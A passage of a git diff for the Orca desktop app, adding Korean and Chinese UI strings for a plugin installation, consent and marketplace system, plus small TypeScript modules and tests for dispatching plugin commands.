+          "manageSources": "소스 관리",
+          "refreshing": "새로 고치는 중…",
+          "refresh": "새로 고침",
+          "loading": "마켓플레이스 플러그인 불러오는 중…",
+          "searchLabel": "마켓플레이스 플러그인 검색",
+          "searchPlaceholder": "플러그인, 카테고리 또는 게시자 검색",
+          "tryAgain": "다시 시도",
+          "noSources": "공식, 커뮤니티 또는 비공개 Git 마켓플레이스를 추가하여 플러그인을 찾아보세요.",
+          "addSource": "마켓플레이스 추가",
+          "noResults": "검색과 일치하는 마켓플레이스 플러그인이 없습니다.",
+          "empty": "구성된 마켓플레이스에 등록된 플러그인이 없습니다.",
+          "noInstalled": "No plugins installed.",
+          "noInstalledTitle": "No plugins installed",
+          "noSourcesTitle": "No marketplaces configured",
+          "noResultsTitle": "No matching plugins",
+          "clearSearch": "Clear search",
+          "emptyTitle": "Nothing listed yet"
+        },
+        "PluginMarketplaceListingRow": {
+          "official": "공식",
+          "bundled": "번들",
+          "installed": "설치됨",
+          "marketplace": "{{value0}} · {{value1}}",
+          "blocked": "Orca 안전 목록에서 차단됨: {{value0}}",
+          "blockedAction": "차단됨",
+          "checkUpdate": "업데이트 확인",
+          "installedAction": "설치됨",
+          "review": "검토",
+          "noDescription": "No description provided.",
+          "install": "Install"
+        },
+        "PluginMarketplacePreviewDialog": {
+          "languagePacks": "언어 팩 {{value0}}개",
+          "commands": "명령 {{value0}}개",
+          "keybindings": "키보드 단축키 {{value0}}개",
+          "vmRecipes": "VM 레시피 {{value0}}개",
+          "panels": "패널 {{value0}}개",
+          "events": "이벤트 구독 {{value0}}개",
+          "worker": "백그라운드 워커",
+          "official": "공식",
+          "bundled": "번들",
+          "subtitle": "{{value0}} v{{value1}} · {{value2}}",
+          "source": "플러그인 소스",
+          "commit": "고정된 커밋",
+          "marketplaceCommit": "인덱스 커밋",
+          "includes": "포함 항목",
+          "noContributions": "매니페스트 메타데이터만 포함",
+          "capabilities": "요청한 접근 권한",
+          "workerWarning": "기능 권한은 이 플러그인이 Orca API를 사용하는 방식을 제한합니다. 하지만 워커는 이 컴퓨터에서 일반 프로세스로 실행되며 파일, 네트워크 및 다른 프로세스에 완전히 접근할 수 있습니다.",
+          "blocked": "Orca 안전 목록에서 이 플러그인을 차단했습니다: {{value0}}",
+          "current": "이 플러그인과 정확히 동일한 콘텐츠가 이미 설치되어 있습니다.",
+          "cancel": "취소",
+          "update": "플러그인 업데이트",
+          "install": "플러그인 설치",
+          "provenance": "Reviewed source",
+          "close": "Close",
+          "upToDate": "Up to date",
+          "languagePacksOne": "1 language pack",
+          "commandsOne": "1 command",
+          "keybindingsOne": "1 keyboard shortcut",
+          "vmRecipesOne": "1 VM recipe",
+          "panelsOne": "1 panel",
+          "eventsOne": "1 event subscription",
+          "versionLine": "v{{value0}} · {{value1}}"
+        },
+        "PluginMarketplaceSourceDialog": {
+          "addFailed": "이 마켓플레이스를 추가하지 못했습니다. Git URL, ref 및 Git 자격 증명을 확인하세요.",
+          "refreshFailed": "이 마켓플레이스를 새로 고치지 못했습니다. 마지막으로 유효한 캐시 인덱스는 계속 사용할 수 있습니다.",
+          "removeFailed": "이 마켓플레이스를 제거하지 못했습니다.",
+          "title": "마켓플레이스 소스",
+          "description": "마켓플레이스는 고정된 Git 저장소입니다. Orca는 비공개 저장소에 기존 시스템 Git 자격 증명을 사용합니다.",
+          "urlLabel": "Git URL",
+          "urlDescription": "orca-marketplace.json이 포함된 저장소의 HTTPS 또는 SSH URL을 사용하세요.",
+          "refLabel": "Git ref",
+          "refDescription": "브랜치, 태그 또는 커밋을 선택하세요. 가져온 각 인덱스는 정확한 커밋으로 기록됩니다.",
+          "adding": "추가하는 중…",
+          "add": "소스 추가",
+          "configured": "구성된 소스",
+          "empty": "구성된 마켓플레이스 소스가 없습니다.",
+          "owner": "소유자: {{value0}}",
+          "pinnedCommit": "{{value0}}에 고정",
+          "stale": "새로 고침에 실패했습니다. 마지막으로 유효한 캐시 인덱스를 표시합니다.",
+          "refreshLabel": "{{value0}} 새로 고침",
+          "removeLabel": "{{value0}} 제거",
+          "done": "완료",
+          "urlPlaceholder": "https://git.example.com/team/plugins.git",
+          "official": "공식"
+        },
+        "PluginRollbackDialog": {
+          "title": "플러그인을 롤백할까요?",
+          "description": "{{value0}}을(를) 비활성화하고 이전 불변 버전을 복원합니다. 해당 버전에서 다른 접근 권한이나 지시형 콘텐츠를 요청하면 Orca가 다시 검토하도록 요구합니다.",
+          "cancel": "취소",
+          "confirm": "플러그인 롤백"
+        },
+        "PluginConsentProvenance": {
+          "official": "Official",
+          "bundled": "Bundled with Orca",
+          "local": "Local folder",
+          "community": "Community",
+          "source": "Source",
+          "sourceLabel": "Source",
+          "commit": "Pinned commit",
+          "localCommit": "Local folder — no commit",
+          "indexCommit": "Index commit"
+        },
         "MobileRelayStatusSection": {
           "registered": "Registered",
           "connecting": "Connecting",
@@ -10692,6 +10979,15 @@
             "notAuthorized": "로그를 열 수 없습니다 — 경로가 승인되지 않았습니다.",
             "alreadyEditable": "로그가 이미 편집용으로 열려 있습니다."
           },
+          "PluginPanel": {
+            "loading": "플러그인 패널 불러오는 중...",
+            "unavailable": "이 플러그인 패널은 더 이상 사용할 수 없습니다.",
+            "loadFailed": "플러그인 패널을 불러올 수 없습니다.",
+            "unresponsive": "플러그인 패널이 응답하지 않아 일시 중단되었습니다."
+          },
+          "activityBar": {
+            "error": "오류"
+          },
           "github": {
             "refresh": {
               "error": {
@@ -12674,6 +12970,10 @@
                 "project": "프로젝트"
               }
             }
+          },
+          "pluginQuickActions": {
+            "description": "{{value0}} 플러그인 명령",
+            "keyword": "플러그인 명령"
           }
         }
       },
@@ -13297,6 +13597,11 @@
             "noPr": "PR 없음",
             "unavailable": "사용 불가"
           }
+        },
+        "pluginPanelBridgeHost": {
+          "actionsUnavailable": "이 클라이언트에서는 플러그인 작업을 사용할 수 없습니다.",
+          "messageTooLarge": "메시지가 크기 제한을 초과합니다.",
+          "tooManyRequests": "요청이 너무 많습니다."
         }
       },
       "link": {
@@ -13574,6 +13879,17 @@
         "searchAssignee": "담당자 필터…",
         "back": "뒤로"
       },
+      "pluginCatalog": {
+        "PluginCatalogLayout": {
+          "title": "Plugins",
+          "description": "Browse available plugins or manage the ones installed in Orca.",
+          "filter": "Plugin filter",
+          "all": "All",
+          "installed": "Installed",
+          "searchLabel": "Search plugins",
+          "searchPlaceholder": "Search plugins, categories, or publishers"
+        }
+      },
       "browser-pane": {
         "markup": {
           "cancel": "취소",
diff --git a/src/renderer/src/i18n/locales/zh.json b/src/renderer/src/i18n/locales/zh.json
index 456b7aa4b..efc3b530c 100644
--- a/src/renderer/src/i18n/locales/zh.json
+++ b/src/renderer/src/i18n/locales/zh.json
@@ -132,7 +132,8 @@
       "fe21e8f6f5": "返回 ({{value0}})",
       "064bd07810": "返回",
       "ce37cf5279": "切换侧边栏 ({{value0}})",
-      "e4b9e7dff7": "切换侧边栏"
+      "e4b9e7dff7": "切换侧边栏",
+      "pluginCommandFailed": "无法运行插件命令。"
     },
     "web": {
       "WebConnect": {
@@ -592,6 +593,9 @@
           }
         }
       },
+      "pluginCommandKeybindings": {
+        "group": "Plugins"
+      },
       "linear": {
         "usage": {
           "examples": {
@@ -734,6 +738,8 @@
         "devSearchKeywordSonner": "sonner",
         "devSearchKeywordError": "error",
         "devSearchKeywordNotification": "notification",
+        "pluginsTitle": "插件",
+        "pluginsDescription": "安装和管理实验性 Orca 插件。",
         "projectHostsSummary": "{{value0}} 个主机",
         "linearTitle": "Linear",
         "linearDescription": "Give agents the skill to read and update your linked Linear tickets."
@@ -1913,7 +1919,8 @@
         "workspaceTabMissing": "标签页不再存在",
         "projectsGroupsHeader": "项目和分组",
         "projectBadge": "项目",
-        "repoGroupBadge": "仓库组"
+        "repoGroupBadge": "仓库组",
+        "pluginCommandFailed": "无法运行插件命令。"
       },
       "github": {
         "pr": {
@@ -6688,7 +6695,8 @@
           "25b0004fbf": "终端活跃",
           "781cb74d22": "从终端窗格运行。",
           "cb02e00202": "终端",
-          "d8c988dab4": "~/.orca/keybindings.json"
+          "d8c988dab4": "~/.orca/keybindings.json",
+          "shortcutUnavailable": "此快捷键已不再可用。"
         },
         "SourceControlAiActionRecipeDefaults": {
           "2576299196": "参数",
@@ -9238,7 +9246,7 @@
           "copy": "复制",
           "copied": "已复制",
           "recipes": "环境模板",
-          "recipesHelp": "智能体添加到 orca.yaml 的环境模板会显示在这里，可用于启动工作区。",
+          "recipesHelp": "orca.yaml 和已启用插件中的配方会显示在这里，可用于启动工作区。",
           "refresh": "刷新临时 VM 环境模板",
           "checking": "正在检查环境模板...",
           "none": "还没有找到环境模板。"
@@ -9310,6 +9318,285 @@
           "567633ff50": "右键点击将剪贴板内容粘贴到终端。按住 Control 键点击以打开上下文菜单。",
           "c64497148a": "右键点击粘贴剪贴板内容。按住 Control 键点击打开上下文菜单。"
         },
+        "PluginConsentDialog": {
+          "workerTrust": "后台工作进程 — 在独立进程中运行",
+          "panelTrust": "面板或主机集成内容 — 无后台工作进程",
+          "decisionFailed": "无法保存权限决定。请重试。",
+          "title": "检查权限",
+          "mixedTitle": "检查访问权限和内容",
+          "instructionalTitle": "检查插件内容",
+          "subtitle": "{{value0}} v{{value1}} · {{value2}}",
+          "reconsent": "自你上次检查此插件以来，权限、工作进程信任级别或指令内容已更改。请在运行前重新检查。",
+          "source": "来源",
+          "unknownSource": "不可用",
+          "commit": "提交",
+          "localCommit": "不可用（本地文件夹）",
+          "trust": "信任级别",
+          "capabilities": "此插件可以",
+          "warning": "这些权限限制插件使用 Orca API 的方式。其工作进程仍作为普通进程在你的计算机上运行，可以完全访问文件、网络和其他进程。",
+          "enable": "启用插件",
+          "keepDisabled": "保持禁用",
+          "panelWarning": "这些权限限制插件使用 Orca API 的方式。此插件没有后台工作进程。",
+          "instructionalWarning": "此插件没有工作进程。但当你或智能体使用其指令内容时，仍可能触发操作。启用前请检查以下指令和命令。",
+          "capability": {
+            "workspaceRead": "读取当前工作树的名称、分支和终端列表",
+            "terminalSend": "在可见的指定终端中输入文本",
+            "notificationsShow": "显示带有插件名称的桌面通知",
+            "storage": "在插件自己的存储文件夹中保存数据",
+            "secrets": "在插件自己的加密保管库中保存和读取机密信息",
+            "eventsSubscribe": "在创建或移除工作树以及智能体状态变化时接收通知",
+            "settingsOwn": "读取和更改插件自己的设置"
+          },
+          "skillWarning": "此插件会安装包含指令的技能。智能体会读取这些指令，并可能使用你授予智能体的全部权限执行操作。",
+          "instructionalTrust": "指令内容 — 稍后以用户或智能体权限运行",
+          "declarativeTrust": "Declarative content — no plugin code",
+          "reviewTitle": "Review plugin",
+          "declarativeWarning": "This plugin contributes validated content only. It does not run a background worker or receive access to Orca's API.",
+          "trustShortWorker": "Worker",
+          "trustShortInstructional": "Instructional",
+          "trustShortPanel": "Panel",
+          "trustShortDeclarative": "Declarative"
+        },
+        "PluginDevelopmentSection": {
+          "pathRequired": "请输入插件文件夹路径。",
+          "title": "开发",
+          "help": "开发插件时，可直接从此计算机上的文件夹加载。开发插件仍需检查权限。工作进程在此桌面主机上运行；SSH 工作区操作通过 Orca 路由，因此这里填写桌面端路径。",
+          "remove": "移除",
+          "placeholder": "/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin",
+          "add": "添加路径",
+          "saveFailed": "无法保存开发插件路径。",
+          "pathLabel": "开发插件文件夹路径"
+        },
+        "PluginInstallDialog": {
+          "localRequired": "请输入插件文件夹路径。",
+          "gitUrlRequired": "请输入仓库 URL。",
+          "gitRefRequired": "请添加明确的 #ref（标签或提交）以固定安装版本，例如 #v0.1.0。",
+          "installFailed": "插件安装失败。请检查来源后重试。",
+          "title": "安装插件",
+          "description": "安装会将插件复制到 Orca，并显示其权限供你检查。启用插件之前，不会运行任何插件代码。",
+          "source": "安装来源",
+          "localTab": "本地文件夹",
+          "gitTab": "Git URL",
+          "localLabel": "插件文件夹路径",
+          "localPlaceholder": "/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin",
+          "localHelp": "此计算机上包含 orca-plugin.json 的文件夹完整路径。系统会完全按输入内容使用该路径。",
+          "gitLabel": "带 #ref 的仓库 URL",
+          "gitPlaceholder": "https://git.example/acme/orca-notes#v0.1.0",
+          "gitHelp": "附加明确的 #ref（标签或提交）以固定安装版本。适用于 GitHub、GitLab 和任何 Git 主机。",
+          "cancel": "取消",
+          "installing": "正在安装…",
+          "install": "安装",
+          "gitUrlInvalid": "请使用 HTTPS 或 SSH Git URL。不允许使用可执行的 Git 辅助协议。"
+        },
+        "PluginRemoveDialog": {
+          "title": "移除插件？",
+          "description": "这会从此计算机中移除 {{value0}} 及其保存的插件数据。你可以稍后重新安装。",
+          "cancel": "取消",
+          "remove": "移除插件"
+        },
+        "PluginSettingsRow": {
+          "needsReview": "需要检查",
+          "invalid": "无效",
+          "error": "错误",
+          "disabled": "已禁用",
+          "running": "正在运行",
+          "enabled": "已启用",
+          "workerTier": "后台工作进程",
+          "panelTier": "仅面板",
+          "loadingLogs": "正在加载日志…",
+          "noLogs": "没有记录日志行。",
+          "logCount": "最多保留 200 行，显示最近 {{value0}} 行",
+          "dev": "开发",
+          "review": "检查权限",
+          "moreActions": "{{value0}} 的更多操作",
+          "hideLogs": "隐藏日志",
+          "viewLogs": "查看日志",
+          "remove": "移除",
+          "enableLabel": "启用 {{value0}}",
+          "restartCount": " · 重启 {{value0}} 次",
+          "restarting": "正在重新启动",
+          "invalidPluginError": "插件清单或已安装文件无效。请修复插件后刷新。",
+          "runtimeError": "插件在激活或工作进程出错后停止。",
+          "disableLabel": "停用 {{value0}}",
+          "blocked": "已阻止",
+          "official": "官方",
+          "bundled": "内置",
+          "killListMessage": "Orca 安全列表已禁用此插件：{{value0}}",
+          "viewAdvisory": "查看公告",
+          "rollback": "回滚",
+          "noDescription": "No description provided.",
+          "reviewAndEnable": "Review & enable"
+        },
+        "PluginsSettingsSection": {
+          "loadFailed": "无法加载插件。",
+          "logsFailed": "无法加载插件日志。",
+          "title": "插件",
+          "experimental": "实验性",
+          "description": "安装和管理 Orca 插件。即使使用 SSH 工作区，插件也在此计算机上运行。",
+          "install": "安装插件",
+          "systemLabel": "插件系统",
+          "systemDescription": "发现已安装的插件，并允许逐个启用。检查并启用之前不会运行任何内容。工作进程始终在此计算机上运行；SSH 工作区操作通过 Orca 路由。",
+          "featureOff": "开启插件系统以查看和管理已安装的插件。已安装的内容会保留在磁盘上，并在系统关闭时保持禁用。",
+          "loading": "正在加载插件…",
+          "installed": "已安装",
+          "refresh": "刷新",
+          "tryAgain": "重试",
+          "empty": "尚未安装插件。使用“安装插件”从本地文件夹或固定的 Git ref 添加插件。",
+          "settingsUpdateFailed": "无法保存插件设置。",
+          "rollbackFailed": "无法回滚此插件。可能没有可用的上一不可变版本。",
+          "noInstalledResults": "No installed plugins match this search.",
+          "noInstalledResultsTitle": "No matching plugins",
+          "emptyTitle": "No plugins installed yet"
+        },
+        "plugins": {
+          "search": {
+            "title": "插件",
+            "description": "安装和管理实验性 Orca 插件。",
+            "install": "安装插件",
+            "permissions": "插件权限",
+            "logs": "插件日志",
+            "development": "开发插件"
+          }
+        },
+        "pluginError": {
+          "installManifestMissing": "未找到可读取的 orca-plugin.json。请选择插件的根文件夹。",
+          "installManifestInvalid": "orca-plugin.json 无效。请让插件作者修复清单。",
+          "incompatible": "此插件需要其他版本的 Orca。",
+          "installUnsafePath": "插件包含不安全的文件路径或符号链接，因此未安装。",
+          "installLimit": "插件超出 Orca 的安装大小或文件数量限制。",
+          "installGit": "Orca 无法获取固定的 Git 修订。请检查 URL、#ref、访问权限和系统 Git 配置。",
+          "invalidManifestMissing": "插件根目录缺少 orca-plugin.json。请添加后刷新插件。",
+          "invalidManifest": "orca-plugin.json 无效。请修复后刷新插件。",
+          "invalidArtifact": "声明的工作进程或面板文件缺失或不安全。请修复插件文件后刷新。",
+          "consentChanged": "插件在你查看时发生了更改。请关闭此对话框并查看更新后的权限。"
+        },
+        "PluginVmRecipeConsentPreview": {
+          "create": "创建",
+          "suspend": "暂停",
+          "resume": "恢复",
+          "destroy": "销毁",
+          "warning": "此插件会安装 VM 配方。当你使用对应的生命周期操作时，Orca 会在本地桌面主机上运行以下命令。",
+          "commandLabel": "{{value0}} · {{value1}}命令",
+          "heading": "VM 配方命令"
+        },
+        "PluginKeybindingConsentPreview": {
+          "warning": "此插件会添加键盘快捷键。插件启用期间，插件快捷键优先于相同的 Orca 快捷键。",
+          "heading": "键盘快捷键",
+          "worktree": "仅在有活动工作区时运行。",
+          "global": "无需活动工作区即可在应用中运行。",
+          "shadows": "替代：{{value0}}"
+        },
+        "PluginMarketplaceBrowser": {
+          "loadFailed": "无法加载插件市场中的插件。",
+          "refreshFailed": "无法刷新插件市场。仍可使用缓存的列表。",
+          "previewFailed": "无法准备此插件以供审核。请刷新插件市场后重试。",
+          "installFailed": "无法安装此插件。审核过的源可能已更改。",
+          "heading": "插件市场",
+          "manageSources": "管理源",
+          "refreshing": "正在刷新…",
+          "refresh": "刷新",
+          "loading": "正在加载插件市场中的插件…",
+          "searchLabel": "搜索插件市场中的插件",
+          "searchPlaceholder": "搜索插件、类别或发布者",
+          "tryAgain": "重试",
+          "noSources": "添加官方、社区或私有 Git 插件市场以浏览插件。",
+          "addSource": "添加插件市场",
+          "noResults": "没有与此搜索匹配的插件市场插件。",
+          "empty": "已配置的插件市场未列出任何插件。",
+          "noInstalled": "No plugins installed.",
+          "noInstalledTitle": "No plugins installed",
+          "noSourcesTitle": "No marketplaces configured",
+          "noResultsTitle": "No matching plugins",
+          "clearSearch": "Clear search",
+          "emptyTitle": "Nothing listed yet"
+        },
+        "PluginMarketplaceListingRow": {
+          "official": "官方",
+          "bundled": "内置",
+          "installed": "已安装",
+          "marketplace": "{{value0}} · {{value1}}",
+          "blocked": "已被 Orca 安全列表阻止：{{value0}}",
+          "blockedAction": "已阻止",
+          "checkUpdate": "检查更新",
+          "installedAction": "已安装",
+          "review": "审核",
+          "noDescription": "No description provided.",
+          "install": "Install"
+        },
+        "PluginMarketplacePreviewDialog": {
+          "languagePacks": "{{value0}} 个语言包",
+          "commands": "{{value0}} 个命令",
+          "keybindings": "{{value0}} 个键盘快捷键",
+          "vmRecipes": "{{value0}} 个虚拟机方案",
+          "panels": "{{value0}} 个面板",
+          "events": "{{value0}} 个事件订阅",
+          "worker": "后台工作进程",
+          "official": "官方",
+          "bundled": "内置",
+          "subtitle": "{{value0}} v{{value1}} · {{value2}}",
+          "source": "插件源",
+          "commit": "固定的提交",
+          "marketplaceCommit": "索引提交",
+          "includes": "包含",
+          "noContributions": "仅包含清单元数据",
+          "capabilities": "请求的访问权限",
+          "workerWarning": "权限会限制此插件使用 Orca API 的方式，但其工作进程仍会作为此计算机上的普通进程运行，并可完全访问你的文件、网络和其他进程。",
+          "blocked": "Orca 安全列表已阻止此插件：{{value0}}",
+          "current": "已安装内容完全相同的插件。",
+          "cancel": "取消",
+          "update": "更新插件",
+          "install": "安装插件",
+          "provenance": "Reviewed source",
+          "close": "Close",
+          "upToDate": "Up to date",
+          "languagePacksOne": "1 language pack",
+          "commandsOne": "1 command",
+          "keybindingsOne": "1 keyboard shortcut",
+          "vmRecipesOne": "1 VM recipe",
+          "panelsOne": "1 panel",
+          "eventsOne": "1 event subscription",
+          "versionLine": "v{{value0}} · {{value1}}"
+        },
+        "PluginMarketplaceSourceDialog": {
+          "addFailed": "无法添加此插件市场。请检查 Git URL、ref 和 Git 凭据。",
+          "refreshFailed": "无法刷新此插件市场。仍可使用上次有效的缓存索引。",
+          "removeFailed": "无法移除此插件市场。",
+          "title": "插件市场源",
+          "description": "插件市场是固定版本的 Git 仓库。对于私有仓库，Orca 会使用现有的系统 Git 凭据。",
+          "urlLabel": "Git URL",
+          "urlDescription": "使用包含 orca-marketplace.json 的仓库 HTTPS 或 SSH URL。",
+          "refLabel": "Git ref",
+          "refDescription": "选择分支、标签或提交。每次获取的索引都会记录到准确的提交。",
+          "adding": "正在添加…",
+          "add": "添加源",
+          "configured": "已配置的源",
+          "empty": "未配置插件市场源。",
+          "owner": "所有者：{{value0}}",
+          "pinnedCommit": "固定于 {{value0}}",
+          "stale": "刷新失败。正在浏览上次有效的缓存索引。",
+          "refreshLabel": "刷新 {{value0}}",
+          "removeLabel": "移除 {{value0}}",
+          "done": "完成",
+          "urlPlaceholder": "https://git.example.com/team/plugins.git",
+          "official": "官方"
+        },
+        "PluginRollbackDialog": {
+          "title": "回滚插件？",
+          "description": "这会停用 {{value0}} 并恢复其上一个不可变版本。如果该版本请求不同的访问权限或指令内容，Orca 将要求再次审核。",
+          "cancel": "取消",
+          "confirm": "回滚插件"
+        },
+        "PluginConsentProvenance": {
+          "official": "Official",
+          "bundled": "Bundled with Orca",
+          "local": "Local folder",
+          "community": "Community",
+          "source": "Source",
+          "sourceLabel": "Source",
+          "commit": "Pinned commit",
+          "localCommit": "Local folder — no commit",
+          "indexCommit": "Index commit"
+        },
         "MobileRelayStatusSection": {
           "registered": "已注册",
           "connecting": "正在连接",
@@ -10692,6 +10979,15 @@
             "notAuthorized": "无法打开日志 — 路径未授权。",
             "alreadyEditable": "日志已处于编辑状态。"
           },
+          "PluginPanel": {
+            "loading": "正在加载插件面板...",
+            "unavailable": "此插件面板已不可用。",
+            "loadFailed": "无法加载插件面板。",
+            "unresponsive": "插件面板停止响应，已被暂停。"
+          },
+          "activityBar": {
+            "error": "错误"
+          },
           "github": {
             "refresh": {
               "error": {
@@ -12674,6 +12970,10 @@
                 "project": "项目"
               }
             }
+          },
+          "pluginQuickActions": {
+            "description": "{{value0}} 插件命令",
+            "keyword": "插件命令"
           }
         }
       },
@@ -13297,6 +13597,11 @@
             "noPr": "无 PR",
             "unavailable": "不可用"
           }
+        },
+        "pluginPanelBridgeHost": {
+          "actionsUnavailable": "此客户端不支持插件操作。",
+          "messageTooLarge": "消息超过大小限制。",
+          "tooManyRequests": "请求过多。"
         }
       },
       "link": {
@@ -13574,6 +13879,17 @@
         "searchAssignee": "筛选负责人…",
         "back": "返回"
       },
+      "pluginCatalog": {
+        "PluginCatalogLayout": {
+          "title": "Plugins",
+          "description": "Browse available plugins or manage the ones installed in Orca.",
+          "filter": "Plugin filter",
+          "all": "All",
+          "installed": "Installed",
+          "searchLabel": "Search plugins",
+          "searchPlaceholder": "Search plugins, categories, or publishers"
+        }
+      },
       "browser-pane": {
         "markup": {
           "cancel": "取消",
diff --git a/src/renderer/src/i18n/supported-languages.ts b/src/renderer/src/i18n/supported-languages.ts
index 56d747261..446a3a041 100644
--- a/src/renderer/src/i18n/supported-languages.ts
+++ b/src/renderer/src/i18n/supported-languages.ts
@@ -1,8 +1,4 @@
-import {
-  DEFAULT_UI_LOCALE,
-  resolveRendererUiLocale,
-  type SupportedUiLocale
-} from '../../../shared/ui-locale'
+import { DEFAULT_UI_LOCALE, resolveRendererUiLocale } from '../../../shared/ui-locale'
 import {
   UI_LANGUAGE_CHINESE,
   UI_LANGUAGE_ENGLISH,
@@ -10,6 +6,7 @@ import {
   UI_LANGUAGE_KOREAN,
   UI_LANGUAGE_SPANISH,
   UI_LANGUAGE_SYSTEM,
+  type BuiltInUiLanguage,
   type UiLanguage
 } from '../../../shared/ui-language'
 
@@ -18,7 +15,7 @@ export const DEFAULT_LOCALE = DEFAULT_UI_LOCALE
 export const SHOW_UI_LANGUAGE_SETTING = true
 
 export type UiLanguageChoice = {
-  value: UiLanguage
+  value: BuiltInUiLanguage
   labelKey: string
 }
 
@@ -31,7 +28,7 @@ export const UI_LANGUAGE_CHOICES: UiLanguageChoice[] = [
   { value: UI_LANGUAGE_SPANISH, labelKey: 'settings.appearance.language.spanish' }
 ]
 
-const UI_LANGUAGE_CHOICE_FALLBACKS: Record<UiLanguage, string> = {
+const UI_LANGUAGE_CHOICE_FALLBACKS: Record<BuiltInUiLanguage, string> = {
   [UI_LANGUAGE_SYSTEM]: 'System',
   [UI_LANGUAGE_ENGLISH]: 'English',
   [UI_LANGUAGE_CHINESE]: '中文（简体）',
@@ -47,6 +44,6 @@ export function getUiLanguageChoiceLabel(
   return translateFn(choice.labelKey, UI_LANGUAGE_CHOICE_FALLBACKS[choice.value])
 }
 
-export function resolveUiLocale(language: UiLanguage): SupportedUiLocale {
+export function resolveUiLocale(language: UiLanguage): string {
   return resolveRendererUiLocale(language)
 }
diff --git a/src/renderer/src/lib/app-command-dispatch.test.ts b/src/renderer/src/lib/app-command-dispatch.test.ts
new file mode 100644
index 000000000..f898dd7cd
--- /dev/null
+++ b/src/renderer/src/lib/app-command-dispatch.test.ts
@@ -0,0 +1,29 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { dispatchAppCommand, registerAppCommandDispatcher } from './app-command-dispatch'
+
+let cleanup: (() => void) | null = null
+
+afterEach(() => cleanup?.())
+
+describe('app command dispatch', () => {
+  it('routes known action ids through the current handler registry', () => {
+    const dispatcher = vi.fn(() => true)
+    cleanup = registerAppCommandDispatcher(dispatcher)
+
+    expect(dispatchAppCommand('view.tasks', 'plugin-palette')).toBe(true)
+    expect(dispatcher).toHaveBeenCalledWith('view.tasks', 'plugin-palette')
+  })
+
+  it('rejects unknown actions and unregisters only the current dispatcher', () => {
+    const staleCleanup = registerAppCommandDispatcher(() => true)
+    const current = vi.fn(() => true)
+    cleanup = registerAppCommandDispatcher(current)
+    staleCleanup()
+
+    expect(dispatchAppCommand('missing.action', 'plugin-keybinding')).toBe(false)
+    expect(dispatchAppCommand('view.tasks', 'plugin-keybinding')).toBe(true)
+    cleanup()
+    cleanup = null
+    expect(dispatchAppCommand('view.tasks', 'plugin-keybinding')).toBe(false)
+  })
+})
diff --git a/src/renderer/src/lib/app-command-dispatch.ts b/src/renderer/src/lib/app-command-dispatch.ts
new file mode 100644
index 000000000..f9725aca8
--- /dev/null
+++ b/src/renderer/src/lib/app-command-dispatch.ts
@@ -0,0 +1,24 @@
+import { isKeybindingActionId, type KeybindingActionId } from '../../../shared/keybindings'
+
+export type AppCommandSource = 'plugin-keybinding' | 'plugin-palette'
+export type AppCommandDispatcher = (
+  actionId: KeybindingActionId,
+  source: AppCommandSource
+) => boolean
+
+let currentDispatcher: AppCommandDispatcher | null = null
+
+export function registerAppCommandDispatcher(dispatcher: AppCommandDispatcher): () => void {
+  currentDispatcher = dispatcher
+  return () => {
+    if (currentDispatcher === dispatcher) {
+      currentDispatcher = null
+    }
+  }
+}
+
+export function dispatchAppCommand(actionId: string, source: AppCommandSource): boolean {
+  return isKeybindingActionId(actionId) && currentDispatcher !== null
+    ? currentDispatcher(actionId, source)
+    : false
+}
diff --git a/src/renderer/src/lib/plugin-command-execution.test.ts b/src/renderer/src/lib/plugin-command-execution.test.ts
new file mode 100644
index 000000000..b8551c078
--- /dev/null
+++ b/src/renderer/src/lib/plugin-command-execution.test.ts
@@ -0,0 +1,54 @@
+// @vitest-environment happy-dom
+
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { ActivePluginCommand } from '@/store/plugin-panels'
+import { registerAppCommandDispatcher } from './app-command-dispatch'
+import { executePluginCommand } from './plugin-command-execution'
+
+let unregister: (() => void) | null = null
+
+afterEach(() => {
+  unregister?.()
+  unregister = null
+})
+
+function command(handler: ActivePluginCommand['handler']): ActivePluginCommand {
+  return {
+    pluginKey: 'orca-samples.tasks',
+    pluginName: 'Tasks',
+    id: 'open',
+    title: 'Open Tasks',
+    context: 'global',
+    handler,
+    keybindings: []
+  }
+}
+
+describe('plugin command execution', () => {
+  it('dispatches aliases without invoking a plugin worker', async () => {
+    const dispatcher = vi.fn(() => true)
+    const invokeCommand = vi.fn()
+    unregister = registerAppCommandDispatcher(dispatcher)
+    Object.assign(window, { api: { plugins: { invokeCommand } } })
+
+    await executePluginCommand(
+      command({ type: 'built-in', action: 'view.tasks' }),
+      'plugin-palette'
+    )
+
+    expect(dispatcher).toHaveBeenCalledWith('view.tasks', 'plugin-palette')
+    expect(invokeCommand).not.toHaveBeenCalled()
+  })
+
+  it('routes worker commands through the authenticated preload binding', async () => {
+    const invokeCommand = vi.fn().mockResolvedValue({ ok: true })
+    Object.assign(window, { api: { plugins: { invokeCommand } } })
+
+    await executePluginCommand(command({ type: 'worker' }), 'plugin-keybinding')
+
+    expect(invokeCommand).toHaveBeenCalledWith({
+      pluginKey: 'orca-samples.tasks',
+      commandId: 'open'
+    })
+  })
+})
diff --git a/src/renderer/src/lib/plugin-command-execution.ts b/src/renderer/src/lib/plugin-command-execution.ts
new file mode 100644
index 000000000..575725a3e
--- /dev/null
+++ b/src/renderer/src/lib/plugin-command-execution.ts
@@ -0,0 +1,18 @@
+import type { ActivePluginCommand } from '@/store/plugin-panels'
+import { dispatchAppCommand, type AppCommandSource } from './app-command-dispatch'
+
+export async function executePluginCommand(
+  command: ActivePluginCommand,
+  source: AppCommandSource
+): Promise<void> {
+  if (command.handler.type === 'built-in') {
+    if (!dispatchAppCommand(command.handler.action, source)) {
+      throw new Error('built-in action is unavailable in the current context')
+    }
+    return
+  }
+  await window.api.plugins.invokeCommand({
+    pluginKey: command.pluginKey,
+    commandId: command.id
+  })
+}
diff --git a/src/renderer/src/lib/plugin-command-keybindings.test.ts b/src/renderer/src/lib/plugin-command-keybindings.test.ts
new file mode 100644
index 000000000..b4ddcb00d
--- /dev/null
+++ b/src/renderer/src/lib/plugin-command-keybindings.test.ts
@@ -0,0 +1,115 @@
+import { describe, expect, it } from 'vitest'
+import {
+  findKeybindingConflictsForDefinitions,
+  KEYBINDING_DEFINITIONS
+} from '../../../shared/keybindings'
+import type { ActivePluginCommand } from '@/store/plugin-panels'
+import {
+  buildPluginCommandKeybindingDefinitions,
+  findPluginCommandForKeybinding,
